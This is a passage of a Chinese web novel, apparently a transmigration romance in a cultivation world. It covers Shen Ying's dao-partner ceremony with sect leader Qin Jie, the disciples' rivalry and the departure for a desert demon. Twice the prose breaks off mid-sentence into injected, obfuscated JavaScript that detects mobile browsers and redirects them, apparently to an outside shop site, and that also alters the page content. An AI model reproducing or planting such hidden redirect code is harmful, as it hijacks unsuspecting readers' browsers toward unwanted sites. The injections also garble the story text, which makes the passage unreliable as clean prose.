秦戒已经不跟他见外了,一宗之主撩起衣摆坐在他自制的小木凳上,屈着长腿和他打招呼:“晚上好,你持刀握鸟,是要烹制它吗?” 沈缨顿时笑了:“没有,这是我的宠物,它脾气不好,吓唬吓唬它。” 说着用菜刀的刀背做势在小鸟脖子上摩擦,那鸟装死,缩着脑袋想钻进沈缨手里,不是怕刀背,更像是被秦戒身上隐隐的威压吓着了。 “原来是你的灵宠,可有名字?” “啊,有的。” 装死的鸟又活了,抻长鸟脖子,睁着两粒黑米似的眼睛看沈缨。 “它是从晴朗谷飞过来找我的,虽然脾气大,爱啄人还爱撞人,但它很厉害,千里迢迢啊,山一程水一程的……但凡在某一段路程上放弃,现在也不能在这里了。”沈缨朝小鸟哦咿了一声,“它一路都没放弃,我就决定了,叫它不弃。” 不弃一动不动地看他。 沈缨把它举到嘴边哈气:“你啊你啊,再接再厉,以后这一路也不要放弃。” 秦戒道:“这话像是你在警醒自己。” 沈缨嗳了一声,有点不好意思,掌心向上把不弃抛向半空,它本能地振翅,呼呼作响地飞出厨房去了。 他放好菜刀又捏了土准备烧制一个称手的砂锅,手上不停,心越平定:“宗主,你是不是要来说什么正事?” 秦戒没有过多寒暄,和他说起了打算:“沈缨,结契后,你跟我一起到问天宗外如何?我会寸步不离地保护你。” 沈缨先回忆了一下原著,按照秦戒的性格,得知有人是天生的疗愈圣体,第一念头不会是想私占,而是想带着这人到三界中救苦救难,他在原著里很有可能也邀请过沈不寻,但沈不寻前期一直留在这问天宗里。 沈缨想着尽可能地顺着原著的大纲走,便搓搓手:“宗主,我从晴朗谷出来不久,对外面的世道都不熟悉,你看能不能等我在宗门里住久一点,再出去开眼界啊?” 秦戒顿了顿:“宗门贫瘠,你会感到无趣的。” 沈缨忙摆手:“不会的宗主,我耐得住寂寞,平时没事我可以修炼,也可以去五周峰帮忙烧饭。” 秦戒的灰眼睛一下子变得十分深邃,张了张嘴却是欲言又止,只低声道:“你我就要结契,不用这么见外地称呼我,可叫我姓名,也可叫我表字留嗔。” 沈缨诶了一声,秦戒又说:“你说你有个小名叫小馋。” “是。” “你还说你是被收养的,你有亲人吗?” “没有,我是孤儿。” “给你取名字的妈妈呢?” 秦戒以为会听到些伤心的生死离别,但沈缨很自如地一边捏土,一边如饮白水地说:“她有自己的孩子,我是她的工作,工作就是事务的意思。” “她在一个地方短暂地做了包括我在内的孤儿的妈妈,养我们是一个红色的好组织分配给她的工作,她对我们很好。她有三个亲生的孩子,还有七个小孙子,她因年老离开,我因长大离开。” “在我离开第四年,她在自己的家里寿终正寝了。我带了一篮子饭菜去祭拜她,她的孙子已经给她造了个小曾孙,可惜她没来得及抱一抱。” 秦戒安静了半晌。 沈缨絮絮说完,反正他说的事都是普普通通的过往,秦戒在这里也查不到,说出来就当分享生活了。他手里捏出了个小砂锅的模,这玩意质量要过关得好好烧三个月,他准备用灵力控制火候,烧一套全家福大小的。 他一边忙活一边自然而然地问了秦戒:“那你的妈妈呢?” 原著里没怎么写秦戒的出身,写道他在问天宗做了近百年的首徒,而后顺利接任宗主,在位横跨了近三十年,现在是第十五年了。 “岁月太长远,已经模糊了。”秦戒的眼神有些飘渺。 “不会吧?”沈缨诧异,“你吃我的饭时还说想起小时候进食的滋味了,要不我再煮顿新的好吃的,帮你把岁月压缩一下?” 秦戒闻言笑了,应了声好,而后继续说:“我略记一二,记得我家中手足不少,共有十二人。我十岁时,问天宗上一代的护法长老云游人界,一见到我便声称我灵根深厚,是治世之料,因此说服了我的双亲,带我离家去。我同胞兄长放心不下,悄悄跟在我们后面,风餐露宿一个月,护法长老见他恒心不改,最后把他收为徒弟,我则拜入当时的宗主门下。” “真好。”沈缨羡慕了,“你的兄弟姐妹那么多,那现在应该还有些亲戚在人间吧?” 秦戒沉默片刻:“没有了。九十年前我下山,途经故乡,那地方已经被入侵的魔物毁成了乱葬岗。” 沈缨心里突的一下,心想我这死嘴。 秦戒缓声:“这世间魔物肆虐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195350|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道行弱的从海里游上来、从山川爬出来、从天上降下来,道行深的藏在无数秘境里,它们虎视眈眈地窥伺人间,直待有合适的时机,便从秘境里跳出,生吃活物之肉,焚烧静物之根。我若没有被问天宗带走,如今,我也是一捧焦土。” 他叫沈缨小名:“小馋,我有救世之能,你亦有,我还是希望你能跟着我一起出去,我能斩去邪祟,但只有你能化腐为沃。” “!” 沈缨前半夜直面自己见小欲,这会后半夜蒙受秦戒的圣父光辉见大爱,感觉整个人都被带得升华了。 他赶紧去问系统:“人机,人机!你听到秦戒说的没有?我能不按照原著的剧情走,提前跟他下山去吗?” 系统呈现一片雪花状,宕机了好一会才回复。 【JUST DO IT!】 沈缨高兴起来,朝秦戒猛猛点头,正想再问系统这样会不会耽误任务,就听秦戒说:“太好了,届时我带你和无戎一同下山,让楚放留守宗门即可。” 沈缨的笑凝固住了:“……” 系统像是知道他要问什么,回答道:【不妨碍任务,亲爱的小缨,你到时可以在秦戒背后猛抽反派,任务完成得越快,越能早点回归现代】 “但是秦戒要把他那逆徒丢在这里当留守小攻啊!”沈缨更无法接受的是他的CP天各一方,“原著里不是这样的!书里秦戒结婚后出去是带着楚放的,他们就在那之后开始突飞猛进,现在这样不会影响我们的主线吗?” 【不会,你要相信楚放,最爱的师尊丢下他去度蜜月,他在家里不可能坐得住,你等着看好戏吧】 沈缨手里捏坏了一个砂锅模型,惴惴地想,就怕这个好戏是我自己! * 九天时间一晃即过,结契之日很快来到,沈缨天天给自己做心理准备和找活干。 周无戎亦然。 他天天给自己找事。 都是为了给师尊的结契大典添砖加瓦的事。 上头的大师兄找不见影,众多师门事务就落到了他身上,周无戎来者不拒,能忙即忙,只是这种越忙越空落落的感觉还是头一遭,不像之前每天忙活多少就能充实几何。 四海之内,问天宗有名有誉的长老或弟子飞回来了四成,回不来的也都捎了祝福的千里传声符,以及海量的祝贺礼。 短短几天之内,原本冷清的问天宗人声鼎沸,原本处处空旷的太周山摩肩擦踵,天上地下,御剑的修士到处飞,有智的坐骑灵兽到处走。 周无戎置身洪流中,记住了问天宗来来往往的同门前后辈,观察每一个师门中人,学习人界的生活。 人类说伸手不打笑脸人,他就经常笑。 大家便觉得他也一样高兴。 沈缨喜好蜗居少出来,没见过他的同门弟子得知是周无戎全程侍奉他,因此大都跑来找周无戎打听。 沈缨是何方人士,何等相貌,何等性情,何等能力,究竟是怎样的因缘,才让他一跃要成为问天宗的男夫人。 周无戎对每个人的问题都回答得周全熨贴,答完,他想进入小松林去拜见漩涡的中心,但那位准师娘赏了他一巴掌后就不乐意见他。 偶尔能得见,准师娘的明亮目光要么落在他新烧的锅碗瓢盆上,要么落在展翅飞在周遭捣乱的小鸟不弃身上,总之不再落在他身上。 结契前三天,周无戎看着秦戒不惜灵力地大肆运用通天鼎,在元周峰的一片贫瘠空地上大兴土木,拔地而起一座九阶十棱的高台,意为十全九美。 高台高三丈,方三十丈,落座三千处,听秦尚讲,这是意为三生有幸。 结契前一天,他看着那位从前如同高山白云的师尊头一次舍下了一身灰白道衫,换上了沈缨送的深红吉服——是的,他们一个在外画地建重工,一个在内烧饭制新衣。 怎么看都是一对新人。 师尊师娘结契的前一晚,周无戎化为白狼原型,趴在石头窝里给自己舔毛,想着明天要体面一些,谁知道舔不到一会就舔了满嘴的毛。 他这才发现自己掉毛了。 可初春时他已经换过毛,此时春末,不该是掉毛的时节。 周无戎只好边舔毛边吐毛,还好毛发茂盛,不至于斑秃,他安慰自己只是最近忙碌,明天之后就好了。 然而思及明天,他想稍微闭眼休憩一下都办不到,垂着尾巴趴在巨石上,看着苍穹从夜幕变破晓,他便吹去掉到鼻子前的狼毛,支起四肢,化为人形,走向结契台。 天上朝霞成片,地下玉颜成双,九阶十棱高台上,长风吹拂两袭红衣,结契灵书从他们手中浮现,慢慢升空与放大,十六个结契大字最终定格在元周峰的上空,无论是御剑悬在天的弟子,还是坐而在台下的弟子,都能把结契书的内容看得仔仔细细。 周无戎在结契台的第八阶,距离他们并不远,安安静静地看了全程。 他的目光从紧张得打摆子的沈缨身上移向天空,看着那四行结契大字,在心里一字一字地默念:“秦戒沈缨,结为道侣,同契共生,不弃不离。” 默念罢,他的眼神从天空落回大地,目光又回到师尊和师娘身上去。 秦戒在取沈缨的一滴心头血,为他制问天宗的命玉。 周无戎认真地看着,一滴猩红的心头血从沈缨身上飞出,无比鲜艳地飞到秦戒掌心里,镌刻到一枚素白命玉上。 秦戒取出他的命玉与之合并,两玉便组成了同心玉。 于是千人山呼,万心同喜。 问天宗迎来了尘埃落定的宗主夫人。 周无戎在欢声笑语的洪流中跟着笑,不知味不知天地,不知魂不知梦中。 多年以后,他仍旧记得这一天的每一丝细节。 沧海桑田,历久弥新。 11.第 11 章 入夜。 沈缨跟着秦戒回了他的洞府,白天像是过了一场声势浩大的过家家,他活了小半辈子,从来没有过被几千双眼睛注目的经历,搞得他飘飘忽忽的,只得和个牵线的皮影似的跟着秦戒完成流程。 现在回到了人少地窄的密闭性空间,他才松出了今天的第一口气。 秦戒是压根就没想歇着,也没想再休养一阵,直接想以战止伤,今天结契,就留一天时间缓冲,后天就想急吼吼地下山干实事去,为此他这会吉服都没换下,就把楚放和周无戎都叫来了。 沈缨想回避,秦戒只道他不是外人,就让他坐在身边,他只好佯装镇定。 两个小年轻很快一前一后地来了,脸色都不太好,依照着约定俗成的礼节跪在了他们面前问候。 沈缨被拜得后脖子阵阵发凉,听着这两人有气无力地说着“弟子拜见师娘”,觉得这场景十分吊诡。 周无戎也就罢了,沈缨怀疑楚放这会心里在画着圈诅咒他,但他看着楚放低着头,露出后脑勺那一团乌黑的发髻,又觉得十分滑稽。 这阵子他就没见过他,前天好奇地问过秦戒这首徒的动静,彼时秦戒面无表情,冷冷地说楚放过分闹腾,罚他去面壁静思三天,哪知道这逆徒一不高兴就把头发剃光了,说要顶着一颗光滑的白煮蛋脑袋参加结契大典。 当然了,闹归闹,楚放到底不敢真给敬爱的师尊添堵,于是后面狂吃生发丹,楞是在两天内把头发催生回原状。 沈缨还挺好奇这衰仔光头是什么样子的。 楚放此时通身都散发着怨气,还是一副犟种模样,在他稍后方的周无戎一如既往地恭顺,看起来有点耷拉,眼睛都抬不起来,丧里丧气的。 沈缨搞不懂他又在装什么,有种秦戒楚放在一边暗潮汹涌,他这个狼崽子在一旁又瘫又颓,暗戳戳地想吸引注意力似的,手里就差个敲得邦邦响的大狗专用食盆了。 他们行完礼后本该起来,但秦戒没应声,而是低头看了他们一会,洞府内的气氛顿时就变得低冷,沈缨瞄了一眼秦戒,白天的热闹没有在他身上留下余烬,他还是清冷威严的。 沈缨记得原著里秦戒在结契后有个给逆徒起表字的情节,他非常喜欢,正回忆着,就看到那纸面的情节化做现实了。 秦戒伸手放在楚放的肩膀上,沉声叫了他的姓名。 低头跪在地上的楚放浑身一震,但脖子一梗,还是不肯抬起头看他师尊。 “百日前,我收无戎和书成为徒,你说为师给他们取名定字,唯独漏了你,是为不公,今日为师如你所愿,赐你一个表字,你接不接。” 楚放这下激灵了,猛然仰起头来,双眼里几乎要迸出星子。 “敛禁。” 楚放跟着念:“敛、禁。” 沈缨屏住了呼吸,使了好大力气才憋住笑,亲眼看着自己磕的cp在线发糖,第一反应便是想捶大腿鸭子叫。 “楚放,你是我收入门下的第一个亲传弟子,迄今已有十年,为师性冷,行事严苛,在教导你的事态上始终不得其解。你已不是当年的七岁稚子,为师这多年来在待人处事上却几无进益,自不春海回来后,卧病这近月,才顿悟有教徒不妥之错。” “也许我秦戒从一开始就不该收徒。” 沈缨快要上扬的嘴角瘪下去了,他惊呆地看着秦戒的侧脸,原著里可没有这样的话。 楚放和周无戎也震惊了,两人不同程度地惶恐,楚放膝行向前朝秦戒靠得更近,想要说些什么,秦戒打断了他。 “世间缘来聚散皆一瞬。” “我不知和你的师徒缘分还能延续到几何,为师是愚人拙修,能教给你的不多,或许你该早日试着挑梁立世,不必再像从前一样盲从为师。你今岁十八,性情如火,赐你敛禁之字是为师对你的期望和祝愿,但愿你今后有新天地。” 秦戒说着看向了沈缨:“为师今日结契,此后也将有新际遇。” 沈缨:“……” 秦戒还没完,他看向楚放和周无戎:“你们二人天生得道,注定不凡,楚放降生时岁星长烁,濯沧出生时破军星如炬,你们各有各的命运因果,为师即使手握通天鼎,也不能叩天扫清你们今后的劫难,未来的险途只有你们自己能走。” 他把手从楚放肩上移开,招周无戎近前:“濯沧,你还记得我当日收你为徒,替你取名时所说的吗?” “弟子记得。” 周无戎比一旁怔忡的楚放镇定,只是下意识看了沈缨两眼。 “您说,戎即战,唤我无戎,谓我不战,望我一生慕太平,莫要为破军预言所困。” 秦戒拍他的肩膀:“我当日途经妖族,你族灭家破,屠你族者称你生而凶星堕地,来日必以杀入道,那都是妄言,不要被歹人的恶口所惑,只要你一心向着明光正道,就不会有戾气缠身。” 周无戎当即叩首,恭顺又感怀的样子,双眼都红了:“弟子牢记师尊教诲,必日日自省,砥砺修道,不负师尊的期望。” 他还朝沈缨磕了一下,很虔诚乖顺,嘴甜地说道:“也绝不负师娘的关怀。” 沈缨哑然,心想我关怀他啥了?还没“关怀”上呢,于是在心里和系统嚷嚷:“他什么意思?什么意思?” 【孝子徒孙的意思。毕竟他前期在主角面前一直表现得很乖,说这话也正常】 但沈缨总觉得哪哪都不对劲,不止狼崽,秦戒也不对,想了想,脑海里浮现出个大胆的想法:“人机,秦戒好像和原著里有一点细枝末节的不一样,他是不是重生了之类的?你能不能查?” 原以为系统这个人机会卡壳或宕机,但它很丝滑地回答了:【他的灵魂波动频率一直没有什么变化哦,他一直都是圣白的秦戒,亲爱的小缨,也许是你引出一点蝴蝶效应,出现小变化是正常的】 沈缨有些失落:“好叭。” 秦戒说完这一通交代遗嘱似的慈心严话,便说起后天下山的安排:“三界动荡不平,我和你们师娘约定好了,后日一同下山,前往人族晋国王朝的西境,西边的沙漠深处有巨型魔物破土而出,魔物若再向东,势必会威胁到人族的生存重镇。我们有师门弟子滞留在那里,但那魔物的强大超乎所料,我决定亲自去一趟。” 沈缨侧耳听着,对秦戒所说的那地方有个印象,他记得在原著里,秦戒和楚放前去救灾时已经晚了,魔物已经侵吞到了人族生活的大片山谷,秦戒当时在书里很难过。 但他们在那山谷里阴差阳错地获得了一对法宝,分别是一盏灯和一幅画。 秦戒又拍楚放:“敛禁,你先在太周山内整顿宗门事务,为师和你师伯、你师娘,还有无戎前去救灾,此去若能顺利清剿魔物,我们便速回。” 楚放被他前面的言语震到了,眼下听着自己被留守师门也没吭气,只是肉眼可见地蔫了。 周无戎则是一听自己在下山的队列里就抖擞了。 秦戒交代完就让他们去做各自的准备,两崽子一步三回头,一出了洞府,他就转头看向沈缨,显而易见也是要安排他这的那的,着实是个卷得没边的领导。 沈缨其实也等着逆徒们滚蛋,他先于秦戒开口,问道:“你是后悔收徒了吗?” 秦戒被问得楞了片刻,摇摇头:“不后悔。今日和你结契也不后悔。” 沈缨便朝他竖个大拇指,岂料秦戒又说:“后悔也无济于事,小馋,你也是。” 说着他把手横在沈缨眼前:“你就捂住眼耳,向前走就好。” * 隔天清晨,沈缨挂着一对黑眼圈,几乎是连滚带爬地从秦戒的洞府里逃出来。 昨晚,秦戒一晚上没睡,一口水不喝,一刻不停地给他灌输修真界的知识,试图在结契之夜拔苗助长,把他从一个学渣填鸭子式的填成学霸。 沈缨出于体质问题,再怎么修炼修为也高不了,仙盟元老台私下制造如他这样的实验品,首要就是封锁实验物的武力值,因此他在不知所以的他人眼中便是个柔弱残次修士,有一技之长,也有致命之短。 秦戒便想一口气武装他的智慧,希望带他下山后,倘若沈缨不慎孤身一人,也能解决掉躲不开的麻烦。 沈缨被教得脑子差点炸了。 他在秦戒的耳提面命下背了一晚上的知识点,背到日出,秦戒才同意他去休息,这会他便一边跑出来一边和系统哭诉:“我不喜欢学习……我只会烧饭我不会读书啊!” 系统活力满满地反驳他:【不,你喜欢读书,你最爱看狗血文了】 沈缨被大噎一口。 他也没力气跟这个馊人机吐槽了,他现在想赶紧钻到他的大厨房里,在锅碗瓢盆的环绕里躺到厨房里的贵妃椅上睡觉。 沈缨钻进小松林,提着吉服的衣摆三步做两步,哒哒跑了一阵,忽然停了下来。 周无戎这臭小子阴魂不散似的,坐在他那三间厨房门口的石阶上,像只看门狗,正和那只坏脾气的小鸟不弃闹着玩。 不弃的羽毛乱蓬蓬的,炸成了一颗圆海胆,扑扇着翅膀飞在他头上,雄赳赳地想啄他,周无戎把手放在空中勾它来,等它来了就弹它一个脑门崩。 沈缨闹不懂这狼崽大清早跑来逗什么鸟,待要吆喝一声,周无戎看到了他,抓了不弃到手里,风一阵地过来了:“师娘,早上好。” 到近前来,沈缨意外地发现周无戎也眼下青黑,更不明所以地避了避他:“你怎么来了?你师尊昨晚才交代了你一箩筐的东西,你没去准备吗?” 周无戎似乎也噎住了,喏喏说了声都准备好了,紧接着说了个蹩脚的理由:“弟子来照顾您的爱宠。” 说着他略有心虚地捧起被抓在手里的不弃,不弃正打字机一样猛猛啄他的手指,啄不坏,便朝沈缨大声咕咕叫。 沈缨无语凝噎地看鸟。 周无戎不着痕迹地看他。 这时苍穹之上忽然传来闷雷似的声响,沈缨抬头看去,只见西面的天边飞来一只玄黄的巨虎,东边的天空上飞来一条银白的巨龙,二者都是灵力所化,像两只巨型纸鸢强势地逆风飘来。 托秦戒昨晚怒教的福,沈缨这会一看就知道是什么东西,玄虎是仙盟第一大门派墨山宗的图腾,银龙是第二门派禄水宗的象征。 这是两个门派各自弄出以灵化形的图腾过来传讯,意为告知三界之中有某地出现重大灾祸,以图腾传讯向来是求助,但墨山禄水两宗兵强马壮,压根用不上向问天宗摇人。 他们与太周山的关系也一般,明知秦戒是救灾狂魔,故意在他结契大婚的第二天传这种东西,无非就是在膈应他。 原著里的墨山宗和禄水宗都有秦戒的死对头,沈缨都很讨厌,眼下仰头望着更讨厌了,忍不住和一旁的周无戎忿忿道:“那两个仗着店大欺客的馊门派!仗着你师尊心地好就狗狗祟祟地搞这搞那的!” 真狗狗祟祟的周无戎嗯了一声,没应声,趁着沈缨没在意他,一味地耸着鼻子轻轻地嗅。 嗅了小半天,没嗅到男师娘身上有师尊的味道。 他的心便落回狗肚子里。 玄虎银龙快飞到了他们上空,这时有两只以灵化形的巨大白鹤从秦戒的洞府方向飞上天,它们裹着金色光芒呼啸着直冲天上,强横又优雅地撞碎了玄虎和银龙。 随后一双白鹤沿着玄虎银龙飞来的方向背道而驰,看样子是要飞到那两个门派的大本营去,他们来挑衅,秦戒便以一对二挑衅回去。 沈缨见状便解气痛快了,方才一路跑来,心里还揣着对秦戒过分严厉的不满,这下又骄傲回去了。 周无戎将他的小表情收入眼底,眼下的黑眼圈似乎更浓重了些,默默地伸手,迅速地在不弃脑袋上拔了根羽毛。 沈缨被自家小鸟的咕咕大叫吵回神,挥挥手想把狼崽子赶走,却发现天空中又出现了一道亮光。 那是一道流星似的暖黄光芒,呈月牙形,稍不注意,便容易将它和此时满天的朝阳之光混淆。 沈缨脑海里闪过一个名字,原著里他第二喜欢的角色,那个以魂魄之态入道的小天使角色,书里描写他的魂魄姿态就是一道月牙形的光芒。 他当即抓住了周无戎的手指向那道暖光,激动得声音直抖:“无戎,你看,那道光是不是你小师弟回来了?” 周无戎呆了呆,眼神顺着沈缨的指尖,片刻才看清,眉间轻微地皱了皱,回答时声音依旧轻柔含笑:“师娘眼力真好,是师尊告诉您的吗?是的,那就是小师弟周书成的魂魄,他灵魂出窍入云海修炼已有百日,当时魂魄飞上天时就是这个模样,月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200714|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙沉香。” 月牙光降落到元周峰旁的五周峰上,沈缨这下全然不想回去补觉了,他左牵狼狗右擎小鸟,悲喜交加地朝着五周峰跑去。 明天就要暂时离开太周山了,他没想到能在今天见到周书成。 原著里写周书成魂魄强韧但身体脆弱,因着在人间乞讨被打断腿而不良于行,沈缨想去看看这个他全书最可怜的小孤儿长什么样子。 有趣的是他刚跑出小松林,就看到秦戒也出了洞府,目朝五周峰的方向,原本淡漠清冷的脸上也有几分惊喜的神情。而在他身边,杵着个挂着一双黑眼圈的楚放。 沈缨一看楚放那鬼样子,就知道这逆徒攻肯定躲在洞府的不远处守株了一晚上。 他坏心略起,撒了周无戎的狗爪子朝秦戒跑去,清清嗓子喊了他一声:“留嗔!” 秦戒那双难得含着笑意的灰眼睛看向他:“小馋。” 楚放脸黑如锅底,周无戎笑眯眯,两人一个问候“师娘”,一个问候“师尊”。 秦戒和沈缨各自应了,随后说起话来。 秦戒昨晚教沈缨背知识时还一副严师的样子,这会倒是挺温和的:“你不是说疲惫不堪,要回你自己的小楼去休憩?” 沈缨笑着指指天空:“被你那两只法力高强的白鹤弄精神了,紧接着又看到你小徒儿的魂魄回来了,就想着我还没见过他,不如去看看他。” “那我们不谋而合了,走,我带你去。” 秦戒主动拉过沈缨的手,沈缨顿时感到如芒在背,想着楚放在背后干生气的样子,内心充满了“我不助攻谁助攻”的滑稽壮烈之情。 四个人没一会儿就到了五周峰,秦戒带他前往周书成所在的洞府,到地点时,沈缨手心都泛潮发热。 走进洞府,扑面而来尽是暖气,暖烘烘的像是春夏之交的宜人温度,或许正因温度适宜,甬道两端的墙壁上竟长着不少青藤和郁金色的小花。 沈缨满怀期待地穿过一路,终于在尽头看到了洞府内的光景。 一个看起来和周无戎差不多十五六年纪,但瘦薄得多的少年坐在一张暖黄色的石床上。 他看起来显著的营养不良,黄净瘦削的脸,额头上有两颗并着长的红痣,像是把他的血色都吸走了,头发短短的不能全束起来,后脑勺扎着个低垂的小辫,发梢枯黄。 他正坐在床沿,右手里拄着一根木拐,试图要从床上起来。 秦尚比沈缨他们早来,伸着手要扶他一把,他侧着脸高兴地和他说话,说话时露齿笑,露出有好几个缺口的牙齿。 这就是秦戒的小徒弟周书成,后期在头上的师长全部负伤缺席的状况下维持了问天宗的运转,最后死得一口渣一口烟都没剩。 沈缨怔怔地看着,这个小孤儿的样貌和他看书时想象的差不多,一样的瘦骨嶙峋。 周书成刚要把木拐支起来,回头就看到了沈缨一行人,嘴巴都没合拢,惊喜交加地挨个喊起来:“师尊,大师兄二师兄,师、师娘?” 沈缨高兴地应了一声嗳,他差点掉出眼泪,系统突然在他识海里上线,给了一个他最不会拒绝的任务。 【恭喜您触发了第四个任务:改写原著里周书成的死亡结局】 【此次任务积分:两百万】 【提示:本任务因难度过大,不做强制要求,成功是最好的,失败了也没关系】 沈缨打起精神来,嚷嚷道:“知道了,冲着这么丰厚的奖励,说什么我也要试一试。” 【^_^】 * 一天时间转瞬即逝,沈缨待在周书成所在的五周峰,陪着他心心念念的小孤儿待了半天,然后一头扎进五周峰的食堂,甩开膀子做了一晚上的食物,做完了用灵力和乾坤袋保鲜,一股脑地预备给周书成吃,把小孤儿感动得眼泪汪汪。 周书成引灵入道的是魂魄,身体素质一般般,和主角团里的其他人不一样,他的灵魂出窍时身体休眠,魂魄归位了身体便需要进食。 沈缨特别可怜他,一晚上的功夫把五周峰的储存食粮造了一半,尽管周书成的魂魄归位不久后又会离体回云海上去修炼。 可惜时间不多,日将出时他只得不舍地和拄着拐杖的周书成挥挥手,约定回来再来看他,周书成则摘了所住之地长出的郁金色花朵,编了个花环送给他。 沈缨乐呵呵地戴在头上,火速去小楼把自己一早准备好的乾坤袋带上,把不弃都给塞了进去,随后便去和秦戒汇合。 秦戒看他新鲜,难得轻松地开玩笑:“多好的花环,书成怎么没给我这做师尊的编一个?” 沈缨把花环摘下戴到他头上去:“别累着小孩了,一个花环挨个戴不就好了?” 秦戒眼睛往头上看,样子有些呆:“唔,你说得对。” 说罢他将那金灿灿暖融融的花环摘下递给他亲哥,秦尚一脸严肃地拿着往头上比划比划,说道:“小孩的玩意!” 比划完,他这位成熟的大人便将花环还给了沈缨。 沈缨把花环往头上扣好,秦戒恰时从通天鼎里召唤出了他的坐骑,那是一只长着两对翅膀的四翼仙鹤,收翅落到地上时扬起了好一阵大风。 沈缨一时没来得及按住头上的花环,后脑勺的发梢都鞭打到了眼睛,疼得他捂住左眼扭头去找掉落的礼物。 转身却见花环在周无戎手里稳稳拿着,他的马尾辫发梢也乱飞着抽打到脸上,双眼却若无其事地睁着,还是含着笑意,乖顺温和地把东西还了过来:“师娘。” 沈缨连忙接回,一摸发现花环少了一朵,顿时心疼得要命,连忙珍惜地把它放回了自己的乾坤袋里,忘记了自己刚才说要把它挨个戴在大家的头上。 周无戎也没开口,负在背后的手拢着一朵扯下的郁金花,不过须臾间,那花便被藏了起来。 那厢秦戒控制好了四翼仙鹤,四人便一块登上了鹤背,送行的楚放孤零零地杵在鹤羽下,仰首望秦戒:“师尊,早点回家。” 秦戒敷衍地点了下头,倒是沈缨觉得逆徒可怜了,蹲下来朝他挥挥手,挥完起身差点站不稳,被离得较近的周无戎伸手搭住了。 “啊,谢谢。” 他抽出手去,周无戎觉得像是一朵花被拔了去,心里空落落的,手里也空荡荡的。 12.第 12 章 沈缨此行去人族的晋朝西境大漠,即将要面对的是一只自带秘境空间的高阶魔物,他看原著时只看感情线,只有一些有趣的设定能让他留下印象,比如这趟旅程的目的。 那只高阶魔物叫“观天魔”,因为它住在井里坐井观天。 沈缨此时坐在四翼仙鹤的背上,有些茫然地看着云海在透明的结界外翻涌成浪,心想,他们这会是坐鹤观天。 高阶魔一向藏在秘境里,它们窥伺人间,等待天灾人祸。时机一成熟,它们便打开秘境的入口出现在防御薄弱的地方,尽情地吞吃人族,吃得越多,它们化成的人形越逼真,也越强大。 世人无不恐惧魔物,而魔物之上还有魔修,世人无不痛恨。 魔物吃人,目的是为了成为人,魔修却是由人堕落成畸形的邪祟。 沈缨想着想着,就扭头去看不远处闭目打坐的周无戎,这小子正在接受身为问天宗弟子的第一次历练,秦戒让他在仙鹤外围铸起结界,他已经稳稳铸了三天。 距离大漠还有两天,看起来他耐心和耐力兼有,修为也日渐精进,心性比楚放稳和韧,做个乖狼是很好的同伴,做个癫狗就很麻烦了。 这时鹤颈处由秦尚接替秦戒“代驾”,秦戒自然而然地来到沈缨身边坐下,问他适不适应,沈缨猛猛点头并朝他伸手:“大佬你脸上血色又没了,伸个手,我交一下机油费。” “?”秦戒又听不太懂他的语言,沈缨总是说一些稀奇的方言,不过他知道他要给他疗愈,于是坦荡地把手递给他,他的伤势几近痊愈,但身上因为有四道阻碍自愈的绝爱锁,目前比从前易疲易虚。 沈缨像个血包一样不时给他疗愈和供能,有时疗愈得久,一结束他就累得倒头睡觉。 眼下又是这样,沈缨松开他的手,都不用解释,说:“报告,晚安!” 随后就自觉地躺到鹤背上羽毛最多的地方,一头扎进毛茸茸里,身体蜷缩成虾米,安详地入睡了。 秦戒连声谢谢都没说完,见状只得由他去,虽然他有点怀疑沈缨钻去睡觉是躲避他的任教,他还想再教他多背一些此界常识的。 他摇摇头,闭上眼打坐运功。 但闭眼不代表他看不见,秦戒早已把五感修炼拓展到极致,他额有天眼,只是无形。 因此,他看到有一缕轻风吹拂过鹤背的羽毛,把沈缨的身体盖得更严实了。 用风给他盖被子? 秦戒好奇地看向打坐的周无戎,他不知道自己的细微举止暴露无遗,他安静地看了一眼蜷在鹤羽下的沈缨,继续认真地御着结界。 秦戒感到意外,没有憋着好奇,他睁开眼直接到周无戎身边坐下,先问他御了三天结界疲不疲惫。 周无戎摇头:“师尊,这点差事弟子完全没问题的。” 秦戒叹了一声,眼下四翼仙鹤在他的操控下日行达八千里,迎着它的疾速和体型,能全程坚持三天三夜御起密不透风的结界,又在刚才随心随意地打开小缝隙放进来一缕清风,周无戎的修为进益得比他想象中的还要快。 这二弟子比他那逆徒勤奋好学十倍,又极擅长自学悟道,进益神速也在情理之中。 秦戒问了他一些修炼上的体悟,周无戎从善如流,秦戒话锋一转,说道:“你对你师娘似乎是发自肺腑的关怀和敬重,这很好,你离开妖族仅有四个月,多和人族相处,结交些好友知音,这都是很好的经历。” 周无戎没法舌灿莲花了:“……是。” “楚放不喜欢你师娘的性子,大概是嫌他时而怯懦时而放肆,还好你不讨厌。” 周无戎笑着引开了话题:“还是师尊了解师兄的性情,弟子什么也看不出来,弟子一直觉得修炼不难,可是参悟人情人心始终不解其道,往后还要劳烦师长们多多提点才是。” 秦戒笑了笑:“七情六欲,声色滋味,录书石上不记载这些,为师自己也常有疑惑,在这点上,我们师徒怕是都有长路要走。” 周无戎脱口而出:“您有师娘,还会疑惑吗?” 